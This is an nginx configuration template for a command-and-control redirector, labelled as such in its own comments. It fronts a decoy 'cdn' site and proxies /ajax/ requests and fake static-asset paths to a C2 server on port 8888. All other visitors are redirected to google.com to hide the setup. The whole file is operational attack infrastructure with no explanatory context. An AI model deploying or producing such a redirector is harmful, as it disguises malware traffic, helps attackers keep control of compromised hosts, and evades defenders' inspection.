server { listen 80; listen [::]:80; server_name cdn.{{ domain }}; # Root directory root /var/www/html; index index.html; # Primary location for legitimate website traffic location / { try_files $uri $uri/ =404; } # Special URI patterns for C2 traffic location /ajax/ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; } # Static resources that redirect to C2 location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } # Catch-all server block server { listen 80 default_server; listen [::]:80 default_server; # Redirect unknown traffic return 301 https://www.google.com; }